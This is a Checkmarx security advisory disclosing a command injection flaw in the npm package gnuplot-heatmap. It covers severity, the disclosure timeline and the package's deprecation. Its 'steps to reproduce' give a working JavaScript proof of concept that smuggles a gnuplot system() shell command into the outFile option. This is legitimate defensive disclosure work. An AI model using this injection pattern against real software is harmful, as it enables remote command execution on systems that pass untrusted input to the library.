---
title: "CX-2021-4781"
date: "2021-04-28T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4781/"
---

# CX-2021-4781

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 28, 2021

9.8 Critical Severity javascript nodejs npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

A Command Injection vulnerability was discovered in gnuplot-heatmap through the  
`outFile` option.

## Product

All versions of gnuplot-heatmap.

## Impact

It’s possible to inject malicious shell code. While the gnuplot-heatmap library  
itself doesn’t run the Gnuplot program, it generates code with the purpose of  
being piped to it.

## Steps to reproduce

In order to exploit this vulnerability execute a file such as the following:

```js
console.log(require("gnuplot-heatmap").default({
    title: "Contributions",
    data: [0, 1, 2, 3, 4, 5],
    year: 2019,
    outFile: 'heatmap.png"nsystem("echo PWND > PWND")nset title "',
}));
```

Tested on 1.0.2.

## Remediation

The library hasn’t been updated to fix the vulnerability. Instead, it was  
deprecated in favor of another library — learn more about it on the [NPM  
page](https://www.npmjs.com/package/gnuplot-heatmap).

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [Vulnerable code](https://github.com/jayden-chan/gnuplot-heatmap/blob/f3e13986491d2b21ccc19834c84b62731716ec4e/src/index.ts#L60)
2. [(323aa26)](https://github.com/jayden-chan/gnuplot-heatmap/commit/323aa26b93e0cbe0dbf7c3f103de8a0908dc4593)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Jan 26, 2021 Notified the project's maintainers
2. Jan 31, 2021 Acknowledgement — The maintainer acknowledged the vulnerability
3. Jan 31, 2021 Deprecation — The maintainer deprecated the library

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)